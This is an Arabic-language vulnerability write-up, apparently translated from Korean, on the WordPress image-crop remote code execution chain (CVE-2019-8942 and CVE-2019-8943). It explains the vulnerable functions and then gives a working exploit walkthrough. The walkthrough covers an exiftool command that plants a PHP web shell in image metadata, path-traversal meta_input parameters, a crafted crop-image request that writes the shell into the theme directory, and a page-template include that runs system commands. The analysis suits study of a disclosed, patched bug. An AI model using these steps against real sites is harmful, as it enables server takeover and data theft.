
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
يتناول هذا المستند الثغرتين CVE-2019-8942 وCVE-2019-8943، المعروفتين باسم WordPress Image CROP RCE، واللتين تم اكتشافهما في إصدارات Wordpress السابقة للإصدارين 4.9.9 و5.0.1.
| رقم CVE | تاريخ الإفصاح | الوصف |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | ثغرة تتيح تنفيذ تعليمات PHP برمجية خبيثة عبر قيم جدول wp_postmeta، مما يسمح بتنفيذ تعليمات برمجية عن بُعد |
| CVE-2019-8943 | 2019-2-19 | ثغرة تتيح حفظ ملف في مسار عشوائي باستخدام معامل meta_input عند حدوث عملية تغيير لمعلومات حجم الصورة المرفوعة |
CVE-2019-8942 تتيح رفع صورة تحتوي على كود PHP مُدرَج في بيانات exif الوصفية للصورة، ثم تغيير قيمة wp_attached_file داخل جدول wp_post_meta للمقالة، وتنفيذ كود عشوائي عبر تضمين ملف الصورة.
CVE-2019-8943 تتيح تغيير قيمة wp_attached_file في جدول wp_postmeta إلى سلسلة عشوائية في دالة wp_crop_image() التي تُحدِّث معلومات حجم الصورة عند استخدام أداة تحرير الصور، وبالتالي إجراء عملية كتابة ملف في دليل عشوائي.
باستخدام الثغرتين معًا، يمكن رفع صورة مُدرَج فيها كود PHP إلى مسار عشوائي ثم تنفيذ التعليمات البرمجية عن بُعد.
عند رفع صورة إلى ووردبريس، تُنقَل أولاً إلى دليل wp-content/uploads، وتُخزَّن في قاعدة البيانات المعلومات المرجعية الداخلية (بيانات وصفية مثل مالك الصورة ووقت الرفع) كأزواج meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
تُخزَّن البيانات الوصفية للصورة في قاعدة البيانات كما هو موضح أعلاه، وعند جلب الصورة يتم البحث عن اسم الملف في دليل wp-content/uploads باستخدام البيانات الوصفية _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
في دالة eidt_post()، تُخزَّن بيانات POST في المتغير $post_data دون أي تصفية، ثم تُحدِّث قيم POST التي تمر عبر wp_update_post() → wp_insrt_post() البيانات الوصفية المخزنة في قاعدة البيانات باستخدام دالة update_post_meta. وبهذه الطريقة، يمكن تحديث قيمة _wp_attached_file وتغيير المسار في البيانات الوصفية الذي سيُستخدم لجلب الصورة.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
دالة wp_crop_image() التي يتم استدعاؤها عند تغيير حجم الصورة تحصل على المسار الذي سيُحفظ فيه الملف عبر دالة get_attached_file()، وهذه الأخيرة تستخدم دالة get_post_meta() لجلب مسار الملف من قيمة _wp_attached_file المخزنة في قاعدة البيانات، ثم تحفظ الصورة المعدَّلة في ذلك المسار.
بسبب هاتين المشكلتين، تحدث في النهاية عملية جلب مسار ملف تم التلاعب به عبر POST وحفظ الصورة المعدَّلة في ذلك المسار.
تُخزَّن قوالب صفحات ووردبريس وتُستخدم في دليل wp-content/themes. عبر تعيين البيانات الوصفية _wp_page_template لكل مقالة، يمكن تضمين ملف موجود في دليل القالب واستخدامه كقالب من خلال تنفيذ دالة include().
وبما أن الملف يُضمَّن في المقالة تمامًا كما تُستخدم دالة include() في PHP، فإن تضمين صورة تحتوي على كود PHP يجعلها تعمل كصفحة PHP، مما يتيح تنفيذ كود PHP.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
إدراج شل PHP في حقل CopyrightNotice ضمن البيانات الوصفية للصورة



انقر على الصورة المرفوعة - تحرير تفاصيل أكثر - وعند النقر على «تحديث»، أضِف المعامل &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell إلى الطلب المُرسل إلى post.php.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
تم التحقق من تعديل قيمة _wp_attached_file في قاعدة البيانات


انقر على الصورة المرفوعة - تحرير الصورة - وبعد تغيير الحجم، عند النقر على زر «الحجم»، مرِّر طلبًا إلى admin-ajax.php مع معاملات معدَّلة.

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
تم التحقق من إنشاء الملف cropped-shell.jpg في دليل القالب.

إنشاء مقالة - أضِف المعامل &meta_input[_wp_page_template]=cropped-shell.jpg إلى الطلب المُرسل إلى post.php، ليتم تضمين الملف في المقالة.

تم التحقق من أن كود PHP في ملف الصورة المُضمَّن يعمل، وأن القيمة المُمرَّرة عبر معامل post إلى المقالة تُنفَّذ كأمر نظام.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - كود Python PoC
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - تقرير تحليل ثغرة WP-CROP-RCE
https://blog.naver.com/skinfosec2000/221517528775 - تقرير تحليل ثغرة WP-CROP-RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - الصفحة الرسمية لـ CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - الصفحة الرسمية لـ CVE